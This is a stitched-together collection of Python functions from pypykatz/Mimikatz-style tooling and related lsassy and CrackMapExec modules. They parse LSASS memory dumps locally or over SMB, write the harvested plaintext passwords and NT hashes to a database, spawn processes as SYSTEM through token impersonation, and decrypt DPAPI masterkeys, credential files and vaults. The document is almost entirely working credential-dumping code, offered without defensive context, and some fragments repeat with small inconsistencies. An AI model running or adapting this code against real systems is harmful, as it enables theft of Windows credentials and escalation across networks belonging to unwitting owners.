def dump_to_pypykatz(dump_file="./lsass_dump.dmp"): print("Pypykatz doing his job...") cmdhelpers = [ LSACMDHelper(), RegistryCMDHelper(), CryptoCMDHelper(), LDAPCMDHelper(), KerberosCMDHelper(), RemoteCMDHelper(), ] args = Namespace() args.cmd = "minidump" args.command = "lsa" args.directory = False args.halt_on_error = False args.json = True args.kerberos_dir = False args.memoryfile = dump_file args.outfile = "temp_report.json" args.recursive = False args.timestamp_override = None args.verbose = 0 for helper in cmdhelpers: helper.execute(args) print("Removing dump file") os.remove(dump_file) print("Done")
def parsedump(self, loggers, smb_con, dumpfile): # Modified from: # https://github.com/awsmhacks/CrackMapExtreme/blob/a3a0ca13014b88dd2feb6db2ac522e2573321d6c/cmx/protocols/smb.py # & Inspiration by @HackAndDo aka Pixis for these parse bits arg = Namespace(outfile=False, json=False, grep=False, kerberos_dir=False, recursive=False, directory=False) out = pypykatz.parse_minidump_file(dumpfile) f = io.StringIO() with redirect_stdout(f): # Hides output LSACMDHelper().process_results({"dumpfile": out}, [], arg) logger = loggers['console'] db_updates = 0 for cred in self.parse_output(f.getvalue()): if cred['Password']: smb_con.db.update_user(cred['Username'], cred['Password'], cred['Domain'], '') logger.success([ smb_con.host, smb_con.ip, self.name.upper(), "{}\\{}:{}".format(cred['Domain'], cred['Username'], cred['Password']) ]) db_updates += 1 elif cred['Hash']: smb_con.db.update_user(cred['Username'], '', cred['Domain'], cred['Hash']) logger.success([ smb_con.host, smb_con.ip, self.name.upper(), "{}\\{}:{}".format(cred['Domain'], cred['Username'], cred['Hash']) ]) db_updates += 1 logger.info([ smb_con.host, smb_con.ip, self.name.upper(), "{} credentials updated in database".format(db_updates) ]) logger.info([ smb_con.host, smb_con.ip, self.name.upper(), "Dmp file saved to: {}".format(self.local_output) ])
def run(): import argparse parser = argparse.ArgumentParser(description='Pure Python implementation of Mimikatz --and more--') parser.add_argument('--json', action='store_true',help = 'Print credentials in JSON format') parser.add_argument('-k', '--kerberos-dir', help = 'Save kerberos tickets to a directory.') parser.add_argument('-g', '--grep', action='store_true', help = 'Print credentials in greppable format') parser.add_argument('-o', '--outfile', help = 'Save results to file (you can specify --json for json file, or text format will be written)') parser.add_argument('-d', '--debug', action='store_true', help = 'Debug output') parser.add_argument('target', action='store', help='[domain/]username[:password]@<host>:/shareName/path/to/lsass/dump') parser.add_argument('-V', '--version', action='version', version='%(prog)s (version {})'.format(version)) args = parser.parse_args() conn, share_name, file_path = ImpacketConnection.from_args(args, args.debug) ifile = ImpacketFile() ifile.open(conn, share_name, file_path) dumpfile = pypykatz.parse_minidump_external(ifile) LSACMDHelper().process_results({"dumfile": dumpfile}, [], args)
def run(): import argparse parser = argparse.ArgumentParser(description='lsassy v{} - Remote lsass dump reader'.format(version)) group_auth = parser.add_argument_group('Authentication') group_auth.add_argument('--hashes', action='store', help='[LM:]NT hash') group_out = parser.add_argument_group('Output') group_out.add_argument('-j', '--json', action='store_true',help = 'Print credentials in JSON format') group_out.add_argument('-k', '--kerberos-dir', help = 'Save kerberos tickets to a directory.') group_out.add_argument('-g', '--grep', action='store_true', help = 'Print credentials in greppable format') group_out.add_argument('-o', '--outfile', help = 'Save results to file') parser.add_argument('-d', '--debug', action='store_true', help = 'Debug output') parser.add_argument('-V', '--version', action='version', version='%(prog)s (version {})'.format(version)) parser.add_argument('target', action='store', help='[domain/]username[:password]@<host>:/share_name/path/to/lsass/dump') if len(sys.argv)==1: parser.print_help() sys.exit(1) args = parser.parse_args() conn, share_name, file_path = ImpacketConnection.from_args(args, args.debug) ifile = ImpacketFile() ifile.open(conn, share_name, file_path) dumpfile = pypykatz.parse_minidump_external(ifile) LSACMDHelper().process_results({"dumfile": dumpfile}, [], args)
def main(): import argparse import glob from pypykatz.utils.crypto.cmdhelper import CryptoCMDHelper from pypykatz.ldap.cmdhelper import LDAPCMDHelper from pypykatz.kerberos.cmdhelper import KerberosCMDHelper from pypykatz.lsadecryptor.cmdhelper import LSACMDHelper from pypykatz.registry.cmdhelper import RegistryCMDHelper from pypykatz.remote.cmdhelper import RemoteCMDHelper from pypykatz.dpapi.cmdhelper import DPAPICMDHelper cmdhelpers = [ LSACMDHelper(), RegistryCMDHelper(), CryptoCMDHelper(), KerberosCMDHelper(), RemoteCMDHelper(), DPAPICMDHelper(), LDAPCMDHelper() ] try: from pypykatz.smb.cmdhelper import SMBCMDHelper cmdhelpers.append(SMBCMDHelper()) except Exception as e: print(e) pass parser = argparse.ArgumentParser( description='Pure Python implementation of Mimikatz --and more--') parser.add_argument('-v', '--verbose', action='count', default=0) subparsers = parser.add_subparsers(help='commands') subparsers.required = True subparsers.dest = 'command' live_group = subparsers.add_parser('live', help='Get secrets from live machine') live_subparsers = live_group.add_subparsers() live_subparsers.required = True live_subparsers.dest = 'module' #this is the new cmd helper formet, in beta mode currently for helper in cmdhelpers: helper.add_args(subparsers, live_subparsers) live_subparser_process_group = live_subparsers.add_parser( 'process', help='Process creating/manipulation commands') live_subparser_process_group.add_argument('cmd', choices=['create']) live_subparser_process_group.add_argument( '-i', '--interactive', action='store_true', help='Spawns a new interactive process') live_subparser_process_group.add_argument( '--sid', help='Impersonate given SID in new process') live_subparser_process_group.add_argument( '-c', '--cmdline', help='The process to execute. Default: cmd.exe') live_subparser_token_group = live_subparsers.add_parser( 'token', help='Token creating/manipulation commands') live_subparser_token_group.add_argument('cmd', choices=['list', 'current']) live_subparser_token_group.add_argument( '-f', '--force', action='store_true', help= 'Tries to list as many tokens as possible without SE_DEBUG privilege') live_subparser_users_group = live_subparsers.add_parser( 'users', help='User creating/manipulation commands') live_subparser_users_group.add_argument('cmd', choices=['list', 'whoami']) version_group = subparsers.add_parser('version', help='version') banner_group = subparsers.add_parser('banner', help='banner') logo_group = subparsers.add_parser('logo', help='logo') ####### PARSING ARGUMENTS args = parser.parse_args() ###### VERBOSITY if args.verbose == 0: logging.basicConfig(level=logging.INFO) elif args.verbose == 1: logging.basicConfig(level=logging.DEBUG) else: level = 5 - args.verbose logging.basicConfig(level=level) ##### Common obj #results = {} #files_with_error = [] for helper in cmdhelpers: helper.execute(args) ###### Live if args.command == 'live': if args.module == 'process': if args.cmd == 'create': from pypykatz.commons.winapi.processmanipulator import ProcessManipulator pm = ProcessManipulator() sid = 'S-1-5-18' if args.sid is not None: sid = args.sid if args.cmdline is not None: cmdline = args.cmdline else: #looking for the correct path... cmdline = os.environ['ComSpec'] pm.create_process_for_sid(target_sid=sid, cmdline=cmdline, interactive=args.interactive) return elif args.module == 'token': from pypykatz.commons.winapi.processmanipulator import ProcessManipulator if args.cmd == 'list': pm = ProcessManipulator() for ti in pm.list_all_tokens(args.force): print(str(ti)) return if args.cmd == 'current': pm = ProcessManipulator() token_info = pm.get_current_token_info() print(str(token_info)) return elif args.module == 'users': from pypykatz.commons.winapi.machine import LiveMachine if args.cmd == 'list': lm = LiveMachine() users = lm.list_users() for sid in users: print(str(users[sid])) elif args.cmd == 'whoami': lm = LiveMachine() user = lm.get_current_user() print(str(user)) elif args.command == 'version': from pypykatz._version import __version__ print(__version__) elif args.command == 'banner': from pypykatz._version import __banner__ print(__banner__) elif args.command == 'logo': from pypykatz._version import __logo__, __logo_color__ print(__logo_color__) print(__logo__)
def main(): import argparse import glob from pypykatz.utils.crypto.cmdhelper import CryptoCMDHelper from pypykatz.ldap.cmdhelper import LDAPCMDHelper from pypykatz.kerberos.cmdhelper import KerberosCMDHelper from pypykatz.lsadecryptor.cmdhelper import LSACMDHelper from pypykatz.registry.cmdhelper import RegistryCMDHelper cmdhelpers = [ CryptoCMDHelper(), LDAPCMDHelper(), KerberosCMDHelper(), LSACMDHelper(), RegistryCMDHelper() ] parser = argparse.ArgumentParser( description= 'Pure Python implementation of Mimikatz --or at least some parts of it--' ) parser.add_argument('-v', '--verbose', action='count', default=0) subparsers = parser.add_subparsers(help='commands') subparsers.required = True subparsers.dest = 'command' live_group = subparsers.add_parser('live', help='Get secrets from live machine') live_subparsers = live_group.add_subparsers(help='module') live_subparsers.required = True live_subparsers.dest = 'module' #this is the new cmd helper formet, in beta mode currently for helper in cmdhelpers: helper.add_args(subparsers, live_subparsers) live_subparser_process_group = live_subparsers.add_parser( 'process', help='Process creating/manipulation commands') live_subparser_process_group.add_argument('cmd', choices=['create']) live_subparser_process_group.add_argument( '-i', '--interactive', action='store_true', help='Spawns a new interactive process') live_subparser_process_group.add_argument( '--sid', help='Impersonate given SID in new process') live_subparser_process_group.add_argument( '-c', '--cmdline', help='The process to execute. Default: cmd.exe') live_subparser_token_group = live_subparsers.add_parser( 'token', help='Token creating/manipulation commands') live_subparser_token_group.add_argument('cmd', choices=['list', 'current']) live_subparser_token_group.add_argument( '-f', '--force', action='store_true', help= 'Tries to list as many tokens as possible without SE_DEBUG privilege') live_subparser_users_group = live_subparsers.add_parser( 'users', help='User creating/manipulation commands') live_subparser_users_group.add_argument('cmd', choices=['list', 'whoami']) live_subparser_dpapi_group = live_subparsers.add_parser( 'dpapi', help='DPAPI (live) related commands') live_subparser_dpapi_group.add_argument( '-r', '--method_registry', action='store_true', help='Getting prekeys from LIVE registry') live_subparser_dpapi_group.add_argument('--vpol', help='VPOL file') live_subparser_dpapi_group.add_argument('--vcred', help='VCRED file') live_subparser_dpapi_group.add_argument('--cred', help='credential file') live_subparser_dpapi_group.add_argument('--mkf', help='masterkey file') dpapi_group = subparsers.add_parser( 'dpapi', help='DPAPI (offline) related commands') dpapi_group.add_argument('cmd', choices=['masterkey', 'credential', 'vault']) dpapi_group.add_argument( '-r', '--method_registry', action='store_true', help= 'Getting prekeys from registry hive files. Using this you will need to also supply system, security and optionally sam switches' ) dpapi_group.add_argument('--system', help='Path to SYSTEM hive file') dpapi_group.add_argument('--sam', help='Path to SAM hive file') dpapi_group.add_argument('--security', help='Path to SECURITY hive file') dpapi_group.add_argument('--vcred', help='VCRED file') dpapi_group.add_argument('--cred', help='credential file') dpapi_group.add_argument('--mkf', help='masterkey file') dpapi_group.add_argument( '--key', help= 'Key used for decryption. The usage of this key depends on what other params you supply.' ) dpapi_group.add_argument( '--sid', help= 'Key used for decryption. The usage of this key depends on what other params you supply.' ) dpapi_group.add_argument( '--password', help= 'Key used for decryption. The usage of this key depends on what other params you supply.' ) sake_group = subparsers.add_parser('sake', help='sake') ####### PARSING ARGUMENTS args = parser.parse_args() ###### VERBOSITY if args.verbose == 0: logging.basicConfig(level=logging.INFO) elif args.verbose == 1: logging.basicConfig(level=logging.DEBUG) else: level = 5 - args.verbose logging.basicConfig(level=level) ##### Common obj results = {} files_with_error = [] for helper in cmdhelpers: helper.execute(args) ###### Live if args.command == 'live': if args.module == 'process': if args.cmd == 'create': from pypykatz.commons.winapi.processmanipulator import ProcessManipulator pm = ProcessManipulator() sid = 'S-1-5-18' if args.sid is not None: sid = args.sid if args.cmdline is not None: cmdline = args.cmdline else: #looking for the correct path... cmdline = os.environ['ComSpec'] pm.create_process_for_sid(target_sid=sid, cmdline=cmdline, interactive=args.interactive) return elif args.module == 'token': from pypykatz.commons.winapi.processmanipulator import ProcessManipulator if args.cmd == 'list': pm = ProcessManipulator() for ti in pm.list_all_tokens(args.force): print(str(ti)) return if args.cmd == 'current': pm = ProcessManipulator() token_info = pm.get_current_token_info() print(str(token_info)) return elif args.module == 'users': from pypykatz.commons.winapi.machine import LiveMachine if args.cmd == 'list': lm = LiveMachine() users = lm.list_users() for sid in users: print(str(users[sid])) elif args.cmd == 'whoami': lm = LiveMachine() user = lm.get_current_user() print(str(user)) elif args.module == 'dpapi': from pypykatz.dpapi.dpapi import DPAPI dpapi = DPAPI() #####pre-key section if args.method_registry == True: dpapi.get_prekeys_form_registry_live() if not args.mkf: raise Exception( 'Live registry method requires masterkeyfile to be set!' ) dpapi.decrypt_masterkey_file(args.mkf) else: dpapi.get_masterkeys_from_lsass_live() #decryption stuff if args.vcred: if args.vpol is None: raise Exception( 'for VCRED decryption you must suppliy VPOL file') dpapi.decrypt_vpol_file(args.vpol) res = dpapi.decrypt_vcrd_file(args.vcred) for attr in res: for i in range(len(res[attr])): if res[attr][i] is not None: print('AttributeID: %s Key %s' % (attr.id, i)) print(hexdump(res[attr][i])) elif args.vpol: key1, key2 = dpapi.decrypt_vpol_file(args.vpol) print('VPOL key1: %s' % key1.hex()) print('VPOL key2: %s' % key2.hex()) elif args.cred: cred_blob = dpapi.decrypt_credential_file(args.cred) print(cred_blob.to_text()) else: #just printing masterkeys for guid in dpapi.masterkeys: print('GUID: %s MASTERKEY: %s' % (guid, dpapi.masterkeys[guid].hex())) if len(dpapi.masterkeys) == 0: print('Failed to decrypt masterkey') ###### DPAPI offline elif args.command == 'dpapi': from pypykatz.dpapi.dpapi import DPAPI if args.key is not None: key = bytes.fromhex(args.key) dpapi = DPAPI() if args.cmd == 'masterkey': if args.mkf is None: raise Exception('You need to provide a masterkey file.') if args.method_registry == True: if args.system is None or args.security is None: raise Exception( 'For offline registry parsing you will need to provide SYSTEM and SECURITY hives!' ) dpapi.get_prekeys_form_registry_files(args.system, args.security, args.sam) dpapi.decrypt_masterkey_file(args.mkf) elif args.key is not None: dpapi.decrypt_masterkey_file(args.mkf, key) elif args.sid is not None: pw = args.password if args.password is None: import getpass pw = getpass.getpass() dpapi.get_prekeys_from_password(args.sid, pw) dpapi.decrypt_masterkey_file(args.mkf) else: raise Exception( 'For masterkey decryption you must provide either registry hives OR key data OR SID and password' ) for guid in dpapi.masterkeys: print('GUID %s MASTERKEY %s' % (guid, dpapi.masterkeys[guid].hex())) if len(dpapi.masterkeys) == 0: print('Failed to decrypt the masterkeyfile!') elif args.cmd == 'credential': if args.key is not None: cred_blob = dpapi.decrypt_credential_file(args.cred, key) print(cred_blob.to_text()) else: if args.method_registry == True: if args.system is None or args.security is None: raise Exception( 'For offline registry parsing you will need to provide SYSTEM and SECURITY hives!' ) dpapi.get_prekeys_form_registry_files( args.system, args.security, args.sam) dpapi.decrypt_masterkey_file(args.mkf, key) elif args.sid is not None: pw = args.password if args.password is None: import getpass pw = getpass.getpass() dpapi.get_prekeys_from_password(args.sid, pw) dpapi.decrypt_masterkey_file(args.mkf, key) elif args.minidump is not None: dpapi.get_masterkeys_from_lsass_dump(args.minidumpfile) cred_blob = dpapi.decrypt_credential_file(args.cred, key) print(cred_blob.to_text()) elif args.cmd == 'vault': if args.vpol is not None: if args.key is not None: key1, key2 = dpapi.decrypt_vpol_file(args.vpol, key) print('VPOL key1: %s' % key1.hex()) print('VPOL key2: %s' % key2.hex()) else: if args.method_registry == True: if args.system is None or args.security is None: raise Exception( 'For offline registry parsing you will need to provide SYSTEM and SECURITY hives!' ) dpapi.get_prekeys_form_registry_files( args.system, args.security, args.sam) dpapi.decrypt_masterkey_file(args.mkf, key) elif args.sid is not None: pw = args.password if args.password is None: import getpass pw = getpass.getpass() dpapi.get_prekeys_from_password(args.sid, pw) dpapi.decrypt_masterkey_file(args.mkf, key) elif args.minidump is not None: dpapi.get_masterkeys_from_lsass_dump(args.minidumpfile) key1, key2 = dpapi.decrypt_vpol_file(args.vpol) print('VPOL key1: %s' % key1.hex()) print('VPOL key2: %s' % key2.hex()) if args.vcred is not None: res = dpapi.decrypt_vcrd_file(args.vcred) for attr in res: for i in range(len(res[attr])): if res[attr][i] is not None: print('AttributeID: %s Key %s' % (attr.id, i)) print(hexdump(res[attr][i])) if args.vcred is not None: if args.key is not None: key1, key2 = dpapi.decrypt_vpol_file(args.vpol, key) print('VPOL key1: %s' % key1.hex()) print('VPOL key2: %s' % key2.hex()) if args.vpol is None: raise Exception( 'VCRED decryption requires a key OR a VPOL file') ###### Sake elif args.command == 'sake': from pypykatz.utils.sake.sake import Sake s = Sake() print(s.draw())
def main(): import argparse import glob from pypykatz.utils.crypto.cmdhelper import CryptoCMDHelper from pypykatz.ldap.cmdhelper import LDAPCMDHelper from pypykatz.kerberos.cmdhelper import KerberosCMDHelper from pypykatz.lsadecryptor.cmdhelper import LSACMDHelper from pypykatz.registry.cmdhelper import RegistryCMDHelper from pypykatz.remote.cmdhelper import RemoteCMDHelper cmdhelpers = [LSACMDHelper(), RegistryCMDHelper(), CryptoCMDHelper(), LDAPCMDHelper(), KerberosCMDHelper(), RemoteCMDHelper()] parser = argparse.ArgumentParser(description='Pure Python implementation of Mimikatz --and more--') parser.add_argument('-v', '--verbose', action='count', default=0) subparsers = parser.add_subparsers(help = 'commands') subparsers.required = True subparsers.dest = 'command' live_group = subparsers.add_parser('live', help='Get secrets from live machine') live_subparsers = live_group.add_subparsers() live_subparsers.required = True live_subparsers.dest = 'module' #this is the new cmd helper formet, in beta mode currently for helper in cmdhelpers: helper.add_args(subparsers, live_subparsers) live_subparser_process_group = live_subparsers.add_parser('process', help='Process creating/manipulation commands') live_subparser_process_group.add_argument('cmd', choices=['create']) live_subparser_process_group.add_argument('-i','--interactive', action = 'store_true', help = 'Spawns a new interactive process') live_subparser_process_group.add_argument('--sid', help = 'Impersonate given SID in new process') live_subparser_process_group.add_argument('-c', '--cmdline', help = 'The process to execute. Default: cmd.exe') live_subparser_token_group = live_subparsers.add_parser('token', help='Token creating/manipulation commands') live_subparser_token_group.add_argument('cmd', choices=['list', 'current']) live_subparser_token_group.add_argument('-f','--force', action='store_true', help= 'Tries to list as many tokens as possible without SE_DEBUG privilege') live_subparser_users_group = live_subparsers.add_parser('users', help='User creating/manipulation commands') live_subparser_users_group.add_argument('cmd', choices=['list','whoami']) live_subparser_dpapi_group = live_subparsers.add_parser('dpapi', help='DPAPI (live) related commands') live_subparser_dpapi_group.add_argument('-r','--method_registry', action='store_true', help= 'Getting prekeys from LIVE registry') live_subparser_dpapi_group.add_argument('--vpol', help= 'VPOL file') live_subparser_dpapi_group.add_argument('--vcred', help= 'VCRED file') live_subparser_dpapi_group.add_argument('--cred', help= 'credential file') live_subparser_dpapi_group.add_argument('--mkf', help= 'masterkey file') dpapi_group = subparsers.add_parser('dpapi', help='DPAPI (offline) related commands') dpapi_subparsers = dpapi_group.add_subparsers() dpapi_subparsers.required = True dpapi_subparsers.dest = 'dapi_module' dpapi_prekey_group = dpapi_subparsers.add_parser('prekey', help='Obtains keys for masterkey decryption. Sources can be registry hives file or plaintext password and SID or NT hash and SID') dpapi_prekey_group.add_argument('keysource', choices=['registry', 'password', 'nt'], help = 'Define what type of input you want to parse') dpapi_prekey_group.add_argument('-o', '--out-file', help= 'Key candidates will be stored in this file. Easier to handle this way in the masterkeyfil command.') dpapi_prekey_group.add_argument('--system', help= '[registry] Path to SYSTEM hive file') dpapi_prekey_group.add_argument('--sam', help= '[registry] Path to SAM hive file') dpapi_prekey_group.add_argument('--security', help= '[registry] Path to SECURITY hive file') dpapi_prekey_group.add_argument('--sid', help= '[password and nt] Key used for decryption. The usage of this key depends on what other params you supply.') dpapi_prekey_group.add_argument('--password', help= '[password] Plaintext passowrd of the user. Used together with SID') dpapi_prekey_group.add_argument('--nt', help= '[nt] NT hash of the user password. Used together with SID. !!Succsess not guaranteed!!') dpapi_minidump_group = dpapi_subparsers.add_parser('minidump', help='Dump masterkeys from minidump file') dpapi_minidump_group.add_argument('minidumpfile', help='path to minidump file') dpapi_mastekey_group = dpapi_subparsers.add_parser('masterkey', help='Decrypt masterkey file') dpapi_mastekey_group.add_argument('mkf', help='path to masterkey file') dpapi_mastekey_group.add_argument('--key', help= 'Key used for decryption, in hex format') dpapi_mastekey_group.add_argument('--prekey', help= 'Path to prekey file, which has multiple decryption key candidates') dpapi_mastekey_group.add_argument('-o', '--out-file', help= 'Master and Backup keys will be stored in this file. Easier to handle in other commands.') dpapi_credential_group = dpapi_subparsers.add_parser('credential', help='Decrypt credential file') dpapi_credential_group.add_argument('cred', help='path to credential file') dpapi_credential_group.add_argument('--masterkey', help= 'Masterkey used for decryption, in hex format') dpapi_credential_group.add_argument('-m', '--mkb-file', help= 'Keyfile generated by the masterkey -o command.') dpapi_vcred_group = dpapi_subparsers.add_parser('vcred', help='Decrypt vcred file') dpapi_vcred_group.add_argument('vcred', help='path to vcred file') dpapi_vcred_group.add_argument('--vpolkey', help= 'Key obtained by decrypting the corresponding VPOL file, in hex format. Remember to try both VPOL keys') dpapi_vpol_group = dpapi_subparsers.add_parser('vpol', help='Decrypt vpol file') dpapi_vpol_group.add_argument('vpol', help='path to vpol file') dpapi_vpol_group.add_argument('--masterkey', help= 'Masterkey used for decryption, in hex format') dpapi_vpol_group.add_argument('-m', '--mkb-file', help= 'Keyfile generated by the masterkey -o command.') sake_group = subparsers.add_parser('sake', help='sake') ####### PARSING ARGUMENTS args = parser.parse_args() ###### VERBOSITY if args.verbose == 0: logging.basicConfig(level=logging.INFO) elif args.verbose == 1: logging.basicConfig(level=logging.DEBUG) else: level = 5 - args.verbose logging.basicConfig(level=level) ##### Common obj results = {} files_with_error = [] for helper in cmdhelpers: helper.execute(args) ###### Live if args.command == 'live': if args.module == 'process': if args.cmd == 'create': from pypykatz.commons.winapi.processmanipulator import ProcessManipulator pm = ProcessManipulator() sid = 'S-1-5-18' if args.sid is not None: sid = args.sid if args.cmdline is not None: cmdline = args.cmdline else: #looking for the correct path... cmdline = os.environ['ComSpec'] pm.create_process_for_sid(target_sid = sid, cmdline = cmdline, interactive = args.interactive) return elif args.module == 'token': from pypykatz.commons.winapi.processmanipulator import ProcessManipulator if args.cmd == 'list': pm = ProcessManipulator() for ti in pm.list_all_tokens(args.force): print(str(ti)) return if args.cmd == 'current': pm = ProcessManipulator() token_info = pm.get_current_token_info() print(str(token_info)) return elif args.module == 'users': from pypykatz.commons.winapi.machine import LiveMachine if args.cmd == 'list': lm = LiveMachine() users = lm.list_users() for sid in users: print(str(users[sid])) elif args.cmd == 'whoami': lm = LiveMachine() user = lm.get_current_user() print(str(user)) elif args.module == 'dpapi': from pypykatz.dpapi.dpapi import DPAPI dpapi = DPAPI() #####pre-key section if args.method_registry == True: dpapi.get_prekeys_form_registry_live() if not args.mkf: raise Exception('Live registry method requires masterkeyfile to be set!') dpapi.decrypt_masterkey_file(args.mkf) else: dpapi.get_masterkeys_from_lsass_live() #decryption stuff if args.vcred: if args.vpol is None: raise Exception('for VCRED decryption you must suppliy VPOL file') dpapi.decrypt_vpol_file(args.vpol) res = dpapi.decrypt_vcrd_file(args.vcred) for attr in res: for i in range(len(res[attr])): if res[attr][i] is not None: print('AttributeID: %s Key %s' % (attr.id, i)) print(hexdump(res[attr][i])) elif args.vpol: key1, key2 = dpapi.decrypt_vpol_file(args.vpol) print('VPOL key1: %s' % key1.hex()) print('VPOL key2: %s' % key2.hex()) elif args.cred: cred_blob = dpapi.decrypt_credential_file(args.cred) print(cred_blob.to_text()) else: #just printing masterkeys for guid in dpapi.masterkeys: print('GUID: %s MASTERKEY: %s' % (guid, dpapi.masterkeys[guid].hex())) if len(dpapi.masterkeys) == 0: print('Failed to decrypt masterkey') ###### DPAPI offline elif args.command == 'dpapi': from pypykatz.dpapi.dpapi import DPAPI dpapi = DPAPI() if args.dapi_module == 'prekey': if args.keysource == 'registry': if args.system is None: raise Exception('SYSTEM hive must be specified for registry parsing!') if args.sam is None and args.security is None: raise Exception('Either SAM or SECURITY hive must be supplied for registry parsing! Best to have both.') dpapi.get_prekeys_form_registry_files(args.system, args.security, args.sam) elif args.keysource == 'password': if args.sid is None: raise Exception('SID must be specified for generating prekey in this mode') pw = args.password if args.password is None: import getpass pw = getpass.getpass() dpapi.get_prekeys_from_password(args.sid, password = pw) elif args.keysource == 'nt': if args.nt is None or args.sid is None: raise Exception('NT hash and SID must be specified for generating prekey in this mode') dpapi.get_prekeys_from_password(args.sid, nt_hash = args.nt) dpapi.dump_pre_keys(args.out_file) elif args.dapi_module == 'minidump': if args.minidumpfile is None: raise Exception('minidump file must be specified for mindiump parsing!') dpapi.get_masterkeys_from_lsass_dump(args.minidumpfile) dpapi.dump_masterkeys(args.out_file) elif args.dapi_module == 'masterkey': if args.key is None and args.prekey is None: raise Exception('Etieher KEY or path to prekey file must be supplied!') if args.prekey: dpapi.load_pre_keys(args.prekey) dpapi.decrypt_masterkey_file(args.mkf) if args.key: dpapi.decrypt_masterkey_file(args.mkf, bytes.fromhex(args.key)) if len(dpapi.masterkeys) == 0 and len(dpapi.backupkeys) == 0: print('Failed to decrypt the masterkeyfile!') return dpapi.dump_masterkeys(args.out_file) elif args.dapi_module == 'credential': if args.masterkey is None and args.mkb_file is None: raise Exception('Either masterkey or pre-generated MKB file must be specified') if args.mkb_file is not None: dpapi.load_masterkeys(args.mkb_file) cred_blob = dpapi.decrypt_credential_file(args.cred) else: cred_blob = dpapi.decrypt_credential_file(args.cred, args.masterkey) print(cred_blob.to_text()) elif args.dapi_module == 'vpol': if args.masterkey is None and args.mkb_file is None: raise Exception('Either masterkey or pre-generated MKB file must be specified') if args.mkb_file is not None: dpapi.load_masterkeys(args.mkb_file) key1, key2 = dpapi.decrypt_vpol_file(args.vpol) else: key1, key2 = dpapi.decrypt_vpol_file(args.vpol, args.masterkey) print('VPOL key1: %s' % key1.hex()) print('VPOL key2: %s' % key2.hex()) elif args.dapi_module == 'vcred': if args.vpolkey is None: raise Exception('VPOL key bust be specified!') res = dpapi.decrypt_vpol_file(args.vcred, args.vpolkey) for attr in res: for i in range(len(res[attr])): if res[attr][i] is not None: print('AttributeID: %s Key %s' % (attr.id, i)) print(hexdump(res[attr][i])) ###### Sake elif args.command == 'sake': from pypykatz.utils.sake.sake import Sake s = Sake() print(s.draw())